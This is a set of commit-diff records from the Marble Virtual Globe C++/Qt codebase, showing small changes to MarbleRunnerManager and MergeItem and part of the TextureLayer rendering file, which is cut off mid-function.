SIGNAL(routingFinished()),\n            &localEventLoop, SLOT(quit()), Qt::QueuedConnection );\n\n    watchdog.start( d->m_watchdogTimer );\n    retrieveRoute( request );\n    localEventLoop.exec();\n    return d->m_routingResult;\n}\n\nvoid MarbleRunnerManager::parseFile( const QString &fileName, DocumentRole role )\n{\n    QList<RunnerPlugin*> plugins = d->plugins( RunnerPlugin::Parsing );\n    foreach( RunnerPlugin *plugin, plugins ) {\n        ParsingTask *task = new ParsingTask( plugin, this, fileName, role );\n        connect( task, SIGNAL( finished( RunnerTask* ) ), this, SLOT( cleanupParsingTask(RunnerTask*) ) );\n        mDebug() << \"parse task \" << plugin->nameId() << \" \" << (long)task;\n        d->m_parsingTasks << task;\n        QThreadPool::globalInstance()->start( task );\n    }\n\n    if ( plugins.isEmpty() ) {\n        emit parsingFinished( 0, \"No plugin found\");\n        d->cleanupParsingTask( 0 );\n    }\n}\n\nvoid MarbleRunnerManagerPrivate::addParsingResult( GeoDataDocument *document, const QString& error )\n{\n    if ( document || !error.isEmpty() ) {\n        m_fileResult = document;\n        emit q->parsingFinished( document, error );\n    }\n}\n\nGeoDataDocument* MarbleRunnerManager::openFile( const QString &fileName, DocumentRole role ) {\n    QEventLoop localEventLoop;\n    QTimer watchdog;\n    watchdog.setSingleShot(true);\n    connect( &watchdog, SIGNAL(timeout()),\n             &localEventLoop, SLOT(quit()));\n    connect(this, SIGNAL(parsingFinished()),\n            &localEventLoop, SLOT(quit()), Qt::QueuedConnection );\n\n    watchdog.start( d->m_watchdogTimer );\n    parseFile( fileName, role);\n    localEventLoop.exec();\n    return d->m_fileResult;\n}\n\n}\n\n#include \"MarbleRunnerManager.moc\"\n<commit_msg>MarbleRunnerManager: no warning popup when no plugin found<commit_after>\/\/\n\/\/ This file is part of the Marble Virtual Globe.\n\/\/\n\/\/ This program is free software licensed under the GNU LGPL. You can\n\/\/ find a copy of this license in LICENSE.txt in the top directory of\n\/\/ the source code.\n\/\/\n\/\/ Copyright 2008 Henry de Valence <hdevalence@gmail.com>\n\/\/ Copyright 2010 Dennis Nienhüser <earthwings@gentoo.org>\n\/\/ Copyright 2011 Thibaut Gridel <tgridel@free.fr>\n\n#include \"MarbleRunnerManager.h\"\n\n#include \"MarblePlacemarkModel.h\"\n#include \"MarbleDebug.h\"\n#include \"MarbleModel.h\"\n#include \"Planet.h\"\n#include \"GeoDataDocument.h\"\n#include \"GeoDataPlacemark.h\"\n#include \"PluginManager.h\"\n#include \"RunnerPlugin.h\"\n#include \"RunnerTask.h\"\n#include \"routing\/RouteRequest.h\"\n#include \"routing\/RoutingProfilesModel.h\"\n\n#include <QtCore\/QObject>\n#include <QtCore\/QString>\n#include <QtCore\/QVector>\n#include <QtCore\/QThreadPool>\n#include <QtCore\/QTimer>\n\nnamespace Marble\n{\n\nclass MarbleModel;\n\nclass MarbleRunnerManagerPrivate\n{\npublic:\n    MarbleRunnerManager* q;\n    QString m_lastSearchTerm;\n    QMutex m_modelMutex;\n    MarblePlacemarkModel *m_model;\n    QVector<GeoDataPlacemark*> m_placemarkContainer;\n    QList<GeoDataCoordinates> m_reverseGeocodingResults;\n    QString m_reverseGeocodingResult;\n    QVector<GeoDataDocument*> m_routingResult;\n    GeoDataDocument* m_fileResult;\n    MarbleModel * m_marbleModel;\n    const PluginManager* m_pluginManager;\n\n    MarbleRunnerManagerPrivate( MarbleRunnerManager* parent, const PluginManager* pluginManager );\n\n    ~MarbleRunnerManagerPrivate();\n\n    QList<RunnerPlugin*> plugins( RunnerPlugin::Capability capability );\n\n    QList<RunnerTask*> m_searchTasks;\n    QList<RunnerTask*> m_reverseTasks;\n    QList<RunnerTask*> m_routingTasks;\n    QList<RunnerTask*> m_parsingTasks;\n    int m_watchdogTimer;\n\n    void addSearchResult( QVector<GeoDataPlacemark*> result );\n    void addReverseGeocodingResult( const GeoDataCoordinates &coordinates, const GeoDataPlacemark &placemark );\n    void addRoutingResult( GeoDataDocument* route );\n    void addParsingResult( GeoDataDocument* document, const QString& error = QString() );\n\n    void cleanupSearchTask( RunnerTask* task );\n    void cleanupReverseGeocodingTask( RunnerTask* task );\n    void cleanupRoutingTask( RunnerTask* task );\n    void cleanupParsingTask( RunnerTask* task );\n\n};\n\nMarbleRunnerManagerPrivate::MarbleRunnerManagerPrivate( MarbleRunnerManager* parent, const PluginManager* pluginManager ) :\n        q( parent ),\n        m_model( new MarblePlacemarkModel( parent ) ),\n        m_fileResult( 0 ),\n        m_marbleModel( 0 ),\n        m_pluginManager( pluginManager ),\n        m_watchdogTimer( 30000 )\n{\n    m_model->setPlacemarkContainer( &m_placemarkContainer );\n    qRegisterMetaType<GeoDataDocument*>( \"GeoDataDocument*\" );\n    qRegisterMetaType<GeoDataPlacemark>( \"GeoDataPlacemark\" );\n    qRegisterMetaType<GeoDataCoordinates>( \"GeoDataCoordinates\" );\n    qRegisterMetaType<QVector<GeoDataPlacemark*> >( \"QVector<GeoDataPlacemark*>\" );\n}\n\nMarbleRunnerManagerPrivate::~MarbleRunnerManagerPrivate()\n{\n    \/\/ nothing to do\n}\n\nQList<RunnerPlugin*> MarbleRunnerManagerPrivate::plugins( RunnerPlugin::Capability capability )\n{\n    QList<RunnerPlugin*> result;\n    QList<RunnerPlugin*> plugins = m_pluginManager->runnerPlugins();\n    foreach( RunnerPlugin* plugin, plugins ) {\n        if ( !plugin->supports( capability ) ) {\n            continue;\n        }\n\n        if ( ( m_marbleModel && m_marbleModel->workOffline() && !plugin->canWorkOffline() ) ) {\n            continue;\n        }\n\n        if ( !plugin->canWork( capability ) ) {\n            continue;\n        }\n\n        if ( m_marbleModel && !plugin->supportsCelestialBody( m_marbleModel->planet()->id() ) )\n        {\n            continue;\n        }\n\n        result << plugin;\n    }\n\n    return result;\n}\n\nvoid MarbleRunnerManagerPrivate::cleanupSearchTask( RunnerTask* task )\n{\n    m_searchTasks.removeAll( task );\n    mDebug() << \"removing search task\" << m_searchTasks.size() << (long)task;\n    if ( m_searchTasks.isEmpty() ) {\n        if( m_placemarkContainer.isEmpty() ) {\n            emit q->searchResultChanged( m_model );\n            emit q->searchResultChanged( m_placemarkContainer );\n        }\n        emit q->searchFinished( m_lastSearchTerm );\n        emit q->placemarkSearchFinished();\n    }\n}\n\nvoid MarbleRunnerManagerPrivate::cleanupReverseGeocodingTask( RunnerTask* task )\n{\n    m_reverseTasks.removeAll( task );\n    mDebug() << \"removing task \" << m_reverseTasks.size() << \" \" << (long)task;\n    if ( m_reverseTasks.isEmpty() ) {\n        emit q->reverseGeocodingFinished();\n    }\n}\n\nvoid MarbleRunnerManagerPrivate::cleanupRoutingTask( RunnerTask* task )\n{\n    m_routingTasks.removeAll( task );\n    mDebug() << \"removing task \" << m_routingTasks.size() << \" \" << (long)task;\n    if ( m_routingTasks.isEmpty() ) {\n        if ( m_routingResult.isEmpty() ) {\n            emit q->routeRetrieved( 0 );\n        }\n\n        emit q->routingFinished();\n    }\n}\n\nvoid MarbleRunnerManagerPrivate::cleanupParsingTask( RunnerTask* task )\n{\n    m_parsingTasks.removeAll( task );\n    mDebug() << \"removing task \" << m_parsingTasks.size() << \" \" << (long)task;\n\n    if ( m_parsingTasks.isEmpty() ) {\n        emit q->parsingFinished();\n    }\n}\n\nMarbleRunnerManager::MarbleRunnerManager( const PluginManager* pluginManager, QObject *parent )\n    : QObject( parent ), d( new MarbleRunnerManagerPrivate( this, pluginManager ) )\n{\n    if ( QThreadPool::globalInstance()->maxThreadCount() < 4 ) {\n        QThreadPool::globalInstance()->setMaxThreadCount( 4 );\n    }\n}\n\nMarbleRunnerManager::~MarbleRunnerManager()\n{\n    delete d;\n}\n\nvoid MarbleRunnerManager::findPlacemarks( const QString &searchTerm )\n{\n    if ( searchTerm == d->m_lastSearchTerm ) {\n      emit searchResultChanged( d->m_model );\n      emit searchResultChanged( d->m_placemarkContainer );\n      emit searchFinished( searchTerm );\n      emit placemarkSearchFinished();\n      return;\n    }\n\n    d->m_lastSearchTerm = searchTerm;\n\n    d->m_searchTasks.clear();\n\n    d->m_modelMutex.lock();\n    d->m_model->removePlacemarks( \"MarbleRunnerManager\", 0, d->m_placemarkContainer.size() );\n    qDeleteAll( d->m_placemarkContainer );\n    d->m_placemarkContainer.clear();\n    d->m_modelMutex.unlock();\n    emit searchResultChanged( d->m_model );\n\n    if ( searchTerm.trimmed().isEmpty() ) {\n        emit searchFinished( searchTerm );\n        emit placemarkSearchFinished();\n        return;\n    }\n\n    QList<RunnerPlugin*> plugins = d->plugins( RunnerPlugin::Search );\n    foreach( RunnerPlugin* plugin, plugins ) {\n        SearchTask* task = new SearchTask( plugin, this, d->m_marbleModel, searchTerm );\n        connect( task, SIGNAL( finished( RunnerTask* ) ), this, SLOT( cleanupSearchTask( RunnerTask* ) ) );\n        d->m_searchTasks << task;\n        mDebug() << \"search task \" << plugin->nameId() << \" \" << (long)task;\n        QThreadPool::globalInstance()->start( task );\n    }\n\n    if ( plugins.isEmpty() ) {\n        d->cleanupSearchTask( 0 );\n    }\n}\n\nvoid MarbleRunnerManagerPrivate::addSearchResult( QVector<GeoDataPlacemark*> result )\n{\n    mDebug() << \"Runner reports\" << result.size() << \" search results\";\n    if( result.isEmpty() )\n        return;\n\n    m_modelMutex.lock();\n    int start = m_placemarkContainer.size();\n    m_placemarkContainer << result;\n    m_model->addPlacemarks( start, result.size() );\n    m_modelMutex.unlock();\n    emit q->searchResultChanged( m_model );\n    emit q->searchResultChanged( m_placemarkContainer );\n}\n\nQVector<GeoDataPlacemark*> MarbleRunnerManager::searchPlacemarks( const QString &searchTerm ) {\n    QEventLoop localEventLoop;\n    QTimer watchdog;\n    watchdog.setSingleShot(true);\n    connect( &watchdog, SIGNAL(timeout()),\n             &localEventLoop, SLOT(quit()));\n    connect(this, SIGNAL(placemarkSearchFinished()),\n            &localEventLoop, SLOT(quit()), Qt::QueuedConnection );\n\n    watchdog.start( d->m_watchdogTimer );\n    findPlacemarks( searchTerm );\n    localEventLoop.exec();\n    return d->m_placemarkContainer;\n}\n\nvoid MarbleRunnerManager::setModel( MarbleModel * model )\n{\n    \/\/ TODO: Terminate runners which are making use of the map.\n    d->m_marbleModel = model;\n}\n\nvoid MarbleRunnerManager::reverseGeocoding( const GeoDataCoordinates &coordinates )\n{\n    d->m_reverseTasks.clear();\n    d->m_reverseGeocodingResult.clear();\n    d->m_reverseGeocodingResults.removeAll( coordinates );\n    QList<RunnerPlugin*> plugins = d->plugins( RunnerPlugin::ReverseGeocoding );\n    foreach( RunnerPlugin* plugin, plugins ) {\n        ReverseGeocodingTask* task = new ReverseGeocodingTask( plugin, this, d->m_marbleModel, coordinates );\n        connect( task, SIGNAL( finished( RunnerTask* ) ), this, SLOT( cleanupReverseGeocodingTask(RunnerTask*) ) );\n        mDebug() << \"reverse task \" << plugin->nameId() << \" \" << (long)task;\n        d->m_reverseTasks << task;\n        QThreadPool::globalInstance()->start( task );\n    }\n\n    if ( plugins.isEmpty() ) {\n        emit reverseGeocodingFinished( coordinates, GeoDataPlacemark() );\n        d->cleanupReverseGeocodingTask( 0 );\n    }\n}\n\nvoid MarbleRunnerManagerPrivate::addReverseGeocodingResult( const GeoDataCoordinates &coordinates, const GeoDataPlacemark &placemark )\n{\n    if ( !m_reverseGeocodingResults.contains( coordinates ) && !placemark.address().isEmpty() ) {\n        m_reverseGeocodingResults.push_back( coordinates );\n        m_reverseGeocodingResult = placemark.address();\n        emit q->reverseGeocodingFinished( coordinates, placemark );\n    }\n\n    if ( m_reverseTasks.isEmpty() ) {\n        emit q->reverseGeocodingFinished();\n    }\n}\n\nQString MarbleRunnerManager::searchReverseGeocoding( const GeoDataCoordinates &coordinates ) {\n    QEventLoop localEventLoop;\n    QTimer watchdog;\n    watchdog.setSingleShot(true);\n    connect( &watchdog, SIGNAL(timeout()),\n             &localEventLoop, SLOT(quit()));\n    connect(this, SIGNAL(reverseGeocodingFinished()),\n            &localEventLoop, SLOT(quit()), Qt::QueuedConnection );\n\n    watchdog.start( d->m_watchdogTimer );\n    reverseGeocoding( coordinates );\n    localEventLoop.exec();\n    return d->m_reverseGeocodingResult;\n}\n\nvoid MarbleRunnerManager::retrieveRoute( const RouteRequest *request )\n{\n    RoutingProfile profile = request->routingProfile();\n\n    d->m_routingTasks.clear();\n    d->m_routingResult.clear();\n\n    QList<RunnerPlugin*> plugins = d->plugins( RunnerPlugin::Routing );\n    foreach( RunnerPlugin* plugin, plugins ) {\n        if ( !profile.name().isEmpty() && !profile.pluginSettings().contains( plugin->nameId() ) ) {\n            continue;\n        }\n\n        RoutingTask* task = new RoutingTask( plugin, this, d->m_marbleModel, request );\n        connect( task, SIGNAL( finished( RunnerTask* ) ), this, SLOT( cleanupRoutingTask( RunnerTask* ) ) );\n        mDebug() << \"route task \" << plugin->nameId() << \" \" << (long)task;\n        d->m_routingTasks << task;\n        QThreadPool::globalInstance()->start( task );\n    }\n\n    if ( plugins.isEmpty() ) {\n        mDebug() << \"No routing plugins found, cannot retrieve a route\";\n        d->cleanupRoutingTask( 0 );\n    }\n}\n\nvoid MarbleRunnerManagerPrivate::addRoutingResult( GeoDataDocument* route )\n{\n    if ( route ) {\n        mDebug() << \"route retrieved\";\n        m_routingResult.push_back( route );\n        emit q->routeRetrieved( route );\n    }\n}\n\nQVector<GeoDataDocument*> MarbleRunnerManager::searchRoute( const RouteRequest *request ) {\n    QEventLoop localEventLoop;\n    QTimer watchdog;\n    watchdog.setSingleShot(true);\n    connect( &watchdog, SIGNAL(timeout()),\n             &localEventLoop, SLOT(quit()));\n    connect(this, SIGNAL(routingFinished()),\n            &localEventLoop, SLOT(quit()), Qt::QueuedConnection );\n\n    watchdog.start( d->m_watchdogTimer );\n    retrieveRoute( request );\n    localEventLoop.exec();\n    return d->m_routingResult;\n}\n\nvoid MarbleRunnerManager::parseFile( const QString &fileName, DocumentRole role )\n{\n    QList<RunnerPlugin*> plugins = d->plugins( RunnerPlugin::Parsing );\n    foreach( RunnerPlugin *plugin, plugins ) {\n        ParsingTask *task = new ParsingTask( plugin, this, fileName, role );\n        connect( task, SIGNAL( finished( RunnerTask* ) ), this, SLOT( cleanupParsingTask(RunnerTask*) ) );\n        mDebug() << \"parse task \" << plugin->nameId() << \" \" << (long)task;\n        d->m_parsingTasks << task;\n        QThreadPool::globalInstance()->start( task );\n    }\n\n    if ( plugins.isEmpty() ) {\n        emit parsingFinished( 0 );\n        d->cleanupParsingTask( 0 );\n    }\n}\n\nvoid MarbleRunnerManagerPrivate::addParsingResult( GeoDataDocument *document, const QString& error )\n{\n    if ( document || !error.isEmpty() ) {\n        m_fileResult = document;\n        emit q->parsingFinished( document, error );\n    }\n}\n\nGeoDataDocument* MarbleRunnerManager::openFile( const QString &fileName, DocumentRole role ) {\n    QEventLoop localEventLoop;\n    QTimer watchdog;\n    watchdog.setSingleShot(true);\n    connect( &watchdog, SIGNAL(timeout()),\n             &localEventLoop, SLOT(quit()));\n    connect(this, SIGNAL(parsingFinished()),\n            &localEventLoop, SLOT(quit()), Qt::QueuedConnection );\n\n    watchdog.start( d->m_watchdogTimer );\n    parseFile( fileName, role);\n    localEventLoop.exec();\n    return d->m_fileResult;\n}\n\n}\n\n#include \"MarbleRunnerManager.moc\"\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ This file is part of the Marble Virtual Globe.\n\/\/\n\/\/ This program is free software licensed under the GNU LGPL. You can\n\/\/ find a copy of this license in LICENSE.txt in the top directory of\n\/\/ the source code.\n\/\/\n\/\/ Copyright 2013   Utku Aydın <utkuaydin34@gmail.com>\n\/\/\n\n#include \"MergeItem.h\"\n\n#include \"GeoDataPlacemark.h\"\n\nnamespace Marble {\n\nMergeItem::MergeItem()\n{\n}\n\nQString MergeItem::pathA()\n{\n    return m_pathA;\n}\n\nvoid MergeItem::setPathA( const QString &path )\n{\n    m_pathA = path;\n    pathAChanged();\n}\n\nQString MergeItem::pathB()\n{\n    return m_pathB;\n}\n\nvoid MergeItem::setPathB( const QString &path )\n{\n    m_pathB = path;\n    pathBChanged();\n}\n\nGeoDataPlacemark MergeItem::placemarkA()\n{\n    return m_placemarkA;\n}\n\nvoid MergeItem::setPlacemarkA( const GeoDataPlacemark &placemark )\n{\n    m_placemarkA = placemark;\n    emit placemarkAChanged();\n    emit nameAChanged();\n    emit descriptionAChanged();\n}\n\nGeoDataPlacemark MergeItem::placemarkB()\n{\n    return m_placemarkB;\n}\n\nvoid MergeItem::setPlacemarkB( const GeoDataPlacemark &placemark )\n{\n    m_placemarkB = placemark;\n    emit placemarkBChanged();\n    emit nameBChanged();\n    emit descriptionBChanged();\n}\n\nQString MergeItem::nameA()\n{\n    return m_placemarkA.name();\n}\n\nQString MergeItem::nameB()\n{\n    return m_placemarkB.name();\n}\n\nQString MergeItem::descriptionA()\n{\n    return m_placemarkA.description();\n}\n\nQString MergeItem::descriptionB()\n{\n    return m_placemarkB.description();\n}\n\nMergeItem::Action MergeItem::actionA()\n{\n    return m_actionA;\n}\n\nvoid MergeItem::setActionA( MergeItem::Action action )\n{\n    m_actionA = action;\n}\n\nMergeItem::Action MergeItem::actionB()\n{\n    return m_actionB;\n}\n\nvoid MergeItem::setActionB( MergeItem::Action action )\n{\n    m_actionB = action;\n}\n\nMergeItem::Resolution MergeItem::resolution()\n{\n    return m_resolution;\n}\n\nvoid MergeItem::setResolution( MergeItem::Resolution resolution )\n{\n    m_resolution = resolution;\n    emit resolutionChanged();\n}\n\n}\n\n#include \"MergeItem.moc\"\n<commit_msg>Add missing emit keywords<commit_after>\/\/\n\/\/ This file is part of the Marble Virtual Globe.\n\/\/\n\/\/ This program is free software licensed under the GNU LGPL. You can\n\/\/ find a copy of this license in LICENSE.txt in the top directory of\n\/\/ the source code.\n\/\/\n\/\/ Copyright 2013   Utku Aydın <utkuaydin34@gmail.com>\n\/\/\n\n#include \"MergeItem.h\"\n\n#include \"GeoDataPlacemark.h\"\n\nnamespace Marble {\n\nMergeItem::MergeItem()\n{\n}\n\nQString MergeItem::pathA()\n{\n    return m_pathA;\n}\n\nvoid MergeItem::setPathA( const QString &path )\n{\n    m_pathA = path;\n    emit pathAChanged();\n}\n\nQString MergeItem::pathB()\n{\n    return m_pathB;\n}\n\nvoid MergeItem::setPathB( const QString &path )\n{\n    m_pathB = path;\n    emit pathBChanged();\n}\n\nGeoDataPlacemark MergeItem::placemarkA()\n{\n    return m_placemarkA;\n}\n\nvoid MergeItem::setPlacemarkA( const GeoDataPlacemark &placemark )\n{\n    m_placemarkA = placemark;\n    emit placemarkAChanged();\n    emit nameAChanged();\n    emit descriptionAChanged();\n}\n\nGeoDataPlacemark MergeItem::placemarkB()\n{\n    return m_placemarkB;\n}\n\nvoid MergeItem::setPlacemarkB( const GeoDataPlacemark &placemark )\n{\n    m_placemarkB = placemark;\n    emit placemarkBChanged();\n    emit nameBChanged();\n    emit descriptionBChanged();\n}\n\nQString MergeItem::nameA()\n{\n    return m_placemarkA.name();\n}\n\nQString MergeItem::nameB()\n{\n    return m_placemarkB.name();\n}\n\nQString MergeItem::descriptionA()\n{\n    return m_placemarkA.description();\n}\n\nQString MergeItem::descriptionB()\n{\n    return m_placemarkB.description();\n}\n\nMergeItem::Action MergeItem::actionA()\n{\n    return m_actionA;\n}\n\nvoid MergeItem::setActionA( MergeItem::Action action )\n{\n    m_actionA = action;\n}\n\nMergeItem::Action MergeItem::actionB()\n{\n    return m_actionB;\n}\n\nvoid MergeItem::setActionB( MergeItem::Action action )\n{\n    m_actionB = action;\n}\n\nMergeItem::Resolution MergeItem::resolution()\n{\n    return m_resolution;\n}\n\nvoid MergeItem::setResolution( MergeItem::Resolution resolution )\n{\n    m_resolution = resolution;\n    emit resolutionChanged();\n}\n\n}\n\n#include \"MergeItem.moc\"\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ This file is part of the Marble Virtual Globe.\n\/\/\n\/\/ This program is free software licensed under the GNU LGPL. You can\n\/\/ find a copy of this license in LICENSE.txt in the top directory of\n\/\/ the source code.\n\/\/\n\/\/ Copyright 2006-2007 Torsten Rahn <tackat@kde.org>\n\/\/ Copyright 2007      Inge Wallin  <ingwa@kde.org>\n\/\/ Copyright 2008, 2009, 2010 Jens-Michael Hoffmann <jmho@c-xx.com>\n\/\/ Copyright 2010-2012 Bernhard Beschow <bbeschow@cs.tu-berlin.de>\/\/\n\n#include \"TextureLayer.h\"\n\n#include <QtCore\/qmath.h>\n#include <QtCore\/QTimer>\n\n#include \"SphericalScanlineTextureMapper.h\"\n#include \"EquirectScanlineTextureMapper.h\"\n#include \"MercatorScanlineTextureMapper.h\"\n#include \"TileScalingTextureMapper.h\"\n#include \"GeoPainter.h\"\n#include \"GeoSceneGroup.h\"\n#include \"GeoSceneTypes.h\"\n#include \"MergedLayerDecorator.h\"\n#include \"MarbleDebug.h\"\n#include \"MarbleDirs.h\"\n#include \"StackedTile.h\"\n#include \"StackedTileLoader.h\"\n#include \"SunLocator.h\"\n#include \"TextureColorizer.h\"\n#include \"TileLoader.h\"\n#include \"VectorComposer.h\"\n#include \"ViewportParams.h\"\n\nnamespace Marble\n{\n\nconst int REPAINT_SCHEDULING_INTERVAL = 1000;\n\nclass TextureLayer::Private\n{\npublic:\n    Private( HttpDownloadManager *downloadManager,\n             const SunLocator *sunLocator,\n             VectorComposer *veccomposer,\n             const PluginManager *pluginManager,\n             TextureLayer *parent );\n\n    void mapChanged();\n    void updateTextureLayers();\n    void updateTile( const TileId &tileId, const QImage &tileImage );\n\npublic:\n    TextureLayer  *const m_parent;\n    const SunLocator *const m_sunLocator;\n    VectorComposer *const m_veccomposer;\n    TileLoader m_loader;\n    MergedLayerDecorator m_layerDecorator;\n    StackedTileLoader    m_tileLoader;\n    int m_tileZoomLevel;\n    TextureMapperInterface *m_texmapper;\n    TextureColorizer *m_texcolorizer;\n    QVector<const GeoSceneTextureTile *> m_textures;\n    const GeoSceneGroup *m_textureLayerSettings;\n    QString m_runtimeTrace;\n    \/\/ For scheduling repaints\n    QTimer           m_repaintTimer;\n\n};\n\nTextureLayer::Private::Private( HttpDownloadManager *downloadManager,\n                                const SunLocator *sunLocator,\n                                VectorComposer *veccomposer,\n                                const PluginManager *pluginManager,\n                                TextureLayer *parent )\n    : m_parent( parent )\n    , m_sunLocator( sunLocator )\n    , m_veccomposer( veccomposer )\n    , m_loader( downloadManager, pluginManager )\n    , m_layerDecorator( &m_loader, sunLocator )\n    , m_tileLoader( &m_layerDecorator )\n    , m_tileZoomLevel( -1 )\n    , m_texmapper( 0 )\n    , m_texcolorizer( 0 )\n    , m_textureLayerSettings( 0 )\n    , m_repaintTimer()\n{\n}\n\nvoid TextureLayer::Private::mapChanged()\n{\n    if ( m_texmapper ) {\n        m_texmapper->setRepaintNeeded();\n    }\n\n    if ( !m_repaintTimer.isActive() ) {\n        m_repaintTimer.start();\n    }\n}\n\nvoid TextureLayer::Private::updateTextureLayers()\n{\n    QVector<GeoSceneTextureTile const *> result;\n\n    foreach ( const GeoSceneTextureTile *candidate, m_textures ) {\n        bool enabled = true;\n        if ( m_textureLayerSettings ) {\n            const bool propertyExists = m_textureLayerSettings->propertyValue( candidate->name(), enabled );\n            enabled |= !propertyExists; \/\/ if property doesn't exist, enable texture nevertheless\n        }\n        if ( enabled ) {\n            result.append( candidate );\n            mDebug() << \"enabling texture\" << candidate->name();\n        } else {\n            mDebug() << \"disabling texture\" << candidate->name();\n        }\n    }\n\n    if ( !result.isEmpty() ) {\n        const GeoSceneTextureTile *const firstTexture = result.at( 0 );\n        m_layerDecorator.setLevelZeroLayout( firstTexture->levelZeroColumns(), firstTexture->levelZeroRows() );\n        m_layerDecorator.setThemeId( \"maps\/\" + firstTexture->sourceDir() );\n    }\n    m_tileLoader.setTextureLayers( result );\n}\n\nvoid TextureLayer::Private::updateTile( const TileId &tileId, const QImage &tileImage )\n{\n    if ( tileImage.isNull() )\n        return; \/\/ keep tiles in cache to improve performance\n\n    m_tileLoader.updateTile( tileId, tileImage );\n\n    mapChanged();\n}\n\n\n\nTextureLayer::TextureLayer( HttpDownloadManager *downloadManager,\n                            const SunLocator *sunLocator,\n                            VectorComposer *veccomposer ,\n                            const PluginManager *pluginManager )\n    : QObject()\n    , d( new Private( downloadManager, sunLocator, veccomposer, pluginManager, this ) )\n{\n    connect( &d->m_loader, SIGNAL(tileCompleted(TileId,QImage)),\n             this, SLOT(updateTile(TileId,QImage)) );\n\n    \/\/ Repaint timer\n    d->m_repaintTimer.setSingleShot( true );\n    d->m_repaintTimer.setInterval( REPAINT_SCHEDULING_INTERVAL );\n    connect( &d->m_repaintTimer, SIGNAL(timeout()),\n             this, SIGNAL(repaintNeeded()) );\n\n    connect( d->m_veccomposer, SIGNAL(datasetLoaded()),\n             this, SLOT(mapChanged()) );\n}\n\nTextureLayer::~TextureLayer()\n{\n    delete d->m_texmapper;\n    delete d->m_texcolorizer;\n    delete d;\n}\n\nQStringList TextureLayer::renderPosition() const\n{\n    return QStringList() << \"SURFACE\";\n}\n\nvoid TextureLayer::addSeaDocument( const GeoDataDocument *seaDocument )\n{\n    if( d->m_texcolorizer ) {\n        d->m_texcolorizer->addSeaDocument( seaDocument );\n        reset();\n    }\n}\n\nvoid TextureLayer::addLandDocument( const GeoDataDocument *landDocument )\n{\n    if( d->m_texcolorizer ) {\n        d->m_texcolorizer->addLandDocument( landDocument );\n        reset();\n    }\n}\n\nbool TextureLayer::showSunShading() const\n{\n    return d->m_layerDecorator.showSunShading();\n}\n\nbool TextureLayer::showCityLights() const\n{\n    return d->m_layerDecorator.showCityLights();\n}\n\nbool TextureLayer::render( GeoPainter *painter, ViewportParams *viewport,\n                           const QString &renderPos, GeoSceneLayer *layer )\n{\n    Q_UNUSED( renderPos );\n    Q_UNUSED( layer );\n\n    \/\/ Stop repaint timer if it is already running\n    d->m_repaintTimer.stop();\n\n    if ( d->m_textures.isEmpty() )\n        return false;\n\n    if ( d->m_tileLoader.textureLayersSize() == 0 )\n        return false;\n\n    if ( !d->m_texmapper )\n        return false;\n\n    \/\/ choose the smaller dimension for selecting the tile level, leading to higher-resolution results\n    const int levelZeroWidth = d->m_tileLoader.tileSize().width() * d->m_tileLoader.tileColumnCount( 0 );\n    const int levelZeroHight = d->m_tileLoader.tileSize().height() * d->m_tileLoader.tileRowCount( 0 );\n    const int levelZeroMinDimension = qMin( levelZeroWidth, levelZeroHight );\n\n    \/\/ limit to 1 as dirty fix for invalid entry linearLevel\n    const qreal linearLevel = qMax( 1.0, viewport->radius() * 4.0 \/ levelZeroMinDimension );\n\n    \/\/ As our tile resolution doubles with each level we calculate\n    \/\/ the tile level from tilesize and the globe radius via log(2)\n    const qreal tileLevelF = qLn( linearLevel ) \/ qLn( 2.0 ) * 1.00001;  \/\/ snap to the sharper tile level a tiny bit earlier\n                                                                         \/\/ to work around rounding errors when the radius\n                                                                         \/\/ roughly equals the global texture width\n\n    const int tileLevel = qMin<int>( d->m_tileLoader.maximumTileLevel(), tileLevelF );\n\n    if ( tileLevel != d->m_tileZoomLevel ) {\n        d->m_tileZoomLevel = tileLevel;\n        emit tileLevelChanged( d->m_tileZoomLevel );\n    }\n\n    const QRect dirtyRect = QRect( QPoint( 0, 0), viewport->size() );\n    d->m_texmapper->mapTexture( painter, viewport, d->m_tileZoomLevel, dirtyRect, d->m_texcolorizer );\n    d->m_runtimeTrace = QString(\"Cache: %1 \").arg(d->m_tileLoader.tileCount());\n    return true;\n}\n\nQString TextureLayer::runtimeTrace() const\n{\n    return d->m_runtimeTrace;\n}\n\nvoid TextureLayer::setShowRelief( bool show )\n{\n    if ( d->m_texcolorizer ) {\n        d->m_texcolorizer->setShowRelief( show );\n    }\n}\n\nvoid TextureLayer::setShowSunShading( bool show )\n{\n    disconnect( d->m_sunLocator, SIGNAL(positionChanged(qreal,qreal)),\n                this, SLOT(reset()) );\n\n    if ( show ) {\n        connect( d->m_sunLocator, SIGNAL(positionChanged(qreal,qreal)),\n                 this,       SLOT(reset()) );\n    }\n\n    d->m_layerDecorator.setShowSunShading( show );\n\n    reset();\n}\n\nvoid TextureLayer::setShowCityLights( bool show )\n{\n    d->m_layerDecorator.setShowCityLights( show );\n\n    reset();\n}\n\nvoid TextureLayer::setShowTileId( bool show )\n{\n    d->m_layerDecorator.setShowTileId( show );\n\n    reset();\n}\n\nvoid TextureLayer::setProjection( Projection projection )\n{\n    \/\/ FIXME: replace this with an approach based on the factory method pattern.\n    delete d->m_texmapper;\n\n    switch( projection ) {\n        case Spherical:\n            d->m_texmapper = new SphericalScanlineTextureMapper( &d->m_tileLoader );\n            break;\n        case Equirectangular:\n            d->m_texmapper = new EquirectScanlineTextureMapper( &d->m_tileLoader );\n            break;\n        case Mercator:\n            if ( d->m_tileLoader.tileProjection() == GeoSceneTiled::Mercator ) {\n                d->m_texmapper = new TileScalingTextureMapper( &d->m_tileLoader );\n            } else {\n                d->m_texmapper = new MercatorScanlineTextureMapper( &d->m_tileLoader );\n            }\n            break;\n        default:\n            d->m_texmapper = 0;\n    }\n    Q_ASSERT( d->m_texmapper );\n}\n\nvoid TextureLayer::setNeedsUpdate()\n{\n    if ( d->m_texmapper ) {\n        d->m_texmapper->setRepaintNeeded();\n    }\n}\n\nvoid TextureLayer::setVolatileCacheLimit( quint64 kilobytes )\n{\n    d->m_tileLoader.setVolatileCacheLimit( kilobytes );\n}\n\nvoid TextureLayer::reset()\n{\n    mDebug() << Q_FUNC_INFO;\n\n    d->m_tileLoader.clear();\n    d->mapChanged();\n}\n\nvoid TextureLayer::reload()\n{\n    d->m_tileLoader.reloadVisibleTiles();\n}\n\nvoid TextureLayer::downloadStackedTile( const TileId &stackedTileId )\n{\n    d->m_tileLoader.downloadStackedTile( stackedTileId );\n}\n\nvoid 